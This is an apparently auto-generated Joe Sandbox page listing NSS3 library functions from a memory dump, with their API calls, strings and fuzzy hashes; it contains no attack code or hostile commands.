Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: e9e574ef51c2254fd3ffbae26b5fd7c8aefb496602be3f6a92fcc1d6c4607581
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 2C11A2A6E042055BEF00AAA76E49BABB5EC9F5474EF044039EC09D7F41FB60D908C6B1

Function 6C718C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C718C1B
EnterCriticalSection.KERNEL32 ref: 6C718C34
PL_ArenaAllocate.NSS3 ref: 6C718C65
PR_Unlock.NSS3 ref: 6C718C9C
PR_Unlock.NSS3 ref: 6C718CB6

Part of subcall function 6C7ADD70: TlsGetValue.KERNEL32 ref: 6C7ADD8C
Part of subcall function 6C7ADD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4

Strings

KRAM, xrefs: 6C718C8F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: fac69022f3de3ec6a474609d40eed4324e8c6f581ef4cc9a8b2ba790bcd75cc0
Instruction ID: dce1ce97aa1a50e508a58f6c078c1cbd6437ddeed09cd8bd292c1c89da65f210
Opcode Fuzzy Hash: fac69022f3de3ec6a474609d40eed4324e8c6f581ef4cc9a8b2ba790bcd75cc0
Instruction Fuzzy Hash: 3E2174B1A096018FD700AF79C588559B7F4FF15308F0A89BAD8888BB11EB35D886CFD1

Function 6C728E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EA2

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EC3
TlsGetValue.KERNEL32(?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?,?,6C714F1C), ref: 6C728EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6C742E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6C728EF1
PR_Unlock.NSS3 ref: 6C728F20

Strings

b.tl, xrefs: 6C728E96, 6C728F25

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.tl
API String ID: 1978757487-2381257471
Opcode ID: e10c1aa985fed7589093843daacff670fa153d3742db39da4e61cadeda0b99a4
Instruction ID: 1ecf21e19ebc9b072b9497eb3b345c7978919f8565be6c4768abe643d7b2bd42
Opcode Fuzzy Hash: e10c1aa985fed7589093843daacff670fa153d3742db39da4e61cadeda0b99a4
Instruction Fuzzy Hash: D121BC729087059FD700AF29C6885A9BBF4FF48318F05466EED988BB41D735E854CBC2

Function 6C793E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6C795B40: PR_GetIdentitiesLayer.NSS3 ref: 6C795B56

PR_EnterMonitor.NSS3(?), ref: 6C793E45

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

PR_EnterMonitor.NSS3(?), ref: 6C793E5C
PR_EnterMonitor.NSS3(?), ref: 6C793E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6C793EA6

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_ExitMonitor.NSS3(?), ref: 6C793EC0
PR_ExitMonitor.NSS3(?), ref: 6C793ED7
PR_ExitMonitor.NSS3(?), ref: 6C793EEE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: e0d733163e46735a7ddc4013bf70d7a4627ab260767f0c10b36b15bc0e56d691
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 9911E471650601EFDB719E29FE0ABC7B3A5DB51308F400834E61E86A22E637E929C743

Function 6C812C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C812CA0
PR_ExitMonitor.NSS3 ref: 6C812CBE
calloc.MOZGLUE(00000001,00000014), ref: 6C812CD1
strdup.MOZGLUE(?), ref: 6C812CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6C812D27

Strings

Loaded library %s (static lib), xrefs: 6C812D22

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: ee59952558b0f187da41d463560fb225d6945789a35810c1d3d52c9d829cd3ed
Instruction ID: fb6e3f134df14bd569fa92073de0d8c860338b3f7c0b6eb6b31473eca2c1b127
Opcode Fuzzy Hash: ee59952558b0f187da41d463560fb225d6945789a35810c1d3d52c9d829cd3ed
Instruction Fuzzy Hash: 3F1122B47042058FEB318F1AD908A6677F5AB4634DF04883DD80987F42D739E818CBE2

Function 6C70BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C70BDCA

Part of subcall function 6C760FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
Part of subcall function 6C760FF0: PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016
Part of subcall function 6C760FF0: PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BDDB

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C70BDEC

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6C70BE03

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C70BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C70BE3B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 8fcd705332a198c56619723d61f06700bddf58b25a19837f15930e0eee51f2e4
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: B301F7E5B4020177F6101266AE0DB97368C4F5078DF140134EE04D6B82FB51E21983B5

Function 6C760FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761000
PR_NewLock.NSS3(?,00000800,6C6FEF74,00000000), ref: 6C761016

Part of subcall function 6C7C98D0: calloc.MOZGLUE(00000001,00000084,6C6F0936,00000001,?,6C6F102C), ref: 6C7C98E5

PL_InitArenaPool.NSS3(00000000,security,6C7087ED,00000008,?,00000800,6C6FEF74,00000000), ref: 6C76102B
TlsGetValue.KERNEL32(00000000,?,?,6C7087ED,00000800,6C6FEF74,00000000), ref: 6C761044
free.MOZGLUE(00000000,?,00000800,6C6FEF74,00000000), ref: 6C761064

Strings

security, xrefs: 6C761025

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 2e1a849bed2ea6243aeeb9a2bbfee6f4871ab9691bdc1e7048db6fdd3a485c9e
Instruction ID: bf2e20b42365ce0dc371de469108f29cca9de25200a89520553d809e641cca82
Opcode Fuzzy Hash: 2e1a849bed2ea6243aeeb9a2bbfee6f4871ab9691bdc1e7048db6fdd3a485c9e
Instruction Fuzzy Hash: 96014475A002519BEB712F2F9E0DA563AA8BF0678DF010535EC8897E52EB70C104DBD2

Function 6C791C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C791C74

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6C791C92
free.MOZGLUE(?), ref: 6C791C99
DeleteCriticalSection.KERNEL32(?), ref: 6C791CCB
free.MOZGLUE(?), ref: 6C791CD2

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 96b530eaa43105231d78c27d73febd6ab6e97dae1fabc287c71f0e8c0a8a2323
Instruction ID: 5bd3bbd806b4e2d8c95dd5555e1ed02ce7a0a55848be6883c9d3f9d7b69e8af6
Opcode Fuzzy Hash: 96b530eaa43105231d78c27d73febd6ab6e97dae1fabc287c71f0e8c0a8a2323
Instruction Fuzzy Hash: 5301D6B1F012206FDF30AFA5AE0DB553778670B31DF440174E509A6B41D3699014CBD1

Function 6C7A2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7A3046

Part of subcall function 6C78EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C78EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C777FFB), ref: 6C7A312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C7A3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7A2E8B

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Part of subcall function 6C78F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C779BFF,?,00000000,00000000), ref: 6C78F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C777FFA), ref: 6C7A2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7A317B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: f0a153afd7a44101691b5340850a7eece89e2edd6321e53b9750218fe1b836de
Instruction ID: 612ad1c0ab10f49a3171ad912c353824358415e5f528849cbf011c3a5228a950
Opcode Fuzzy Hash: f0a153afd7a44101691b5340850a7eece89e2edd6321e53b9750218fe1b836de
Instruction Fuzzy Hash: 61A1CE75A002189FDB24CF54CD84BEAB7B5EF49308F0481A9ED4967781E731AD86CFA1

Function 6C76ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C76ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C76EDCE

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

free.MOZGLUE(00000000,?,?,?,?,6C76B04F), ref: 6C76EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C76EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C76EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C76EEFB

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: c2aae838d2e57ad6806fa7f11367389831c69114d41d99d9b53cc2274feb4f7b
Instruction ID: 2a09fee7a8641a387eede0ea3be741cac782104a2f5b89c0f544c63b77a4f710
Opcode Fuzzy Hash: c2aae838d2e57ad6806fa7f11367389831c69114d41d99d9b53cc2274feb4f7b
Instruction Fuzzy Hash: F4814CB5A002099FEB14CF56DE89BAB77F9AF88708F144438EC159BB51D731E814CBA1

Function 6C76CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C76C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C76DAE2,?), ref: 6C76C6C2

PR_Now.NSS3 ref: 6C76CD35

Part of subcall function 6C7C9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DC6
Part of subcall function 6C7C9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C810A27), ref: 6C7C9DD1
Part of subcall function 6C7C9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C7C9DED

Part of subcall function 6C756C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701C6F,00000000,00000004,?,?), ref: 6C756C3F

PR_GetCurrentThread.NSS3 ref: 6C76CD54

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

Part of subcall function 6C757260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C701CCC,00000000,00000000,?,?), ref: 6C75729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C76CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C76CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C76CE2C

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C76CE40

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

Part of subcall function 6C76CEE0: PORT_ArenaMark_Util.NSS3(?,6C76CD93,?), ref: 6C76CEEE
Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C76CD93,?), ref: 6C76CEFC
Part of subcall function 6C76CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C76CD93,?), ref: 6C76CF0B
Part of subcall function 6C76CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C76CD93,?), ref: 6C76CF1D

Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF47
Part of subcall function 6C76CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF67
Part of subcall function 6C76CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C76CD93,?,?,?,?,?,?,?,?,?,?,?,6C76CD93,?), ref: 6C76CF78

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 6704c265e32e1de513f2f9e6e9e3993e834d7e9a6dd1ee0ecc1d4a1c4db11803
Instruction ID: db9edd704738a24de1a59480f6ecbafafb22c73816634de4a93cf58a8f18d85c
Opcode Fuzzy Hash: 6704c265e32e1de513f2f9e6e9e3993e834d7e9a6dd1ee0ecc1d4a1c4db11803
Instruction Fuzzy Hash: 5851B1B6A001019FEB10EF6ADE48BAA77F8AF48349F250534DC55A7F40EB31E904CB91

Function 6C77FFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6C77FFE5

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PR_EnterMonitor.NSS3(?), ref: 6C780004
PR_EnterMonitor.NSS3(?), ref: 6C78001B

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 6cf6376b83ebe5014b41947e3c88a934aab53a741cacb773d8085f56f4cb9251
Instruction ID: 83b7096c574e666b30792002c40ff27a50eb10af1690090753c351eddb64e07b
Opcode Fuzzy Hash: 6cf6376b83ebe5014b41947e3c88a934aab53a741cacb773d8085f56f4cb9251
Instruction Fuzzy Hash: 9A419A74B47680CFE7304A28CE597EF72A1DB413A8F10053DD25BCAE91D379A549C742

Function 6C73EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

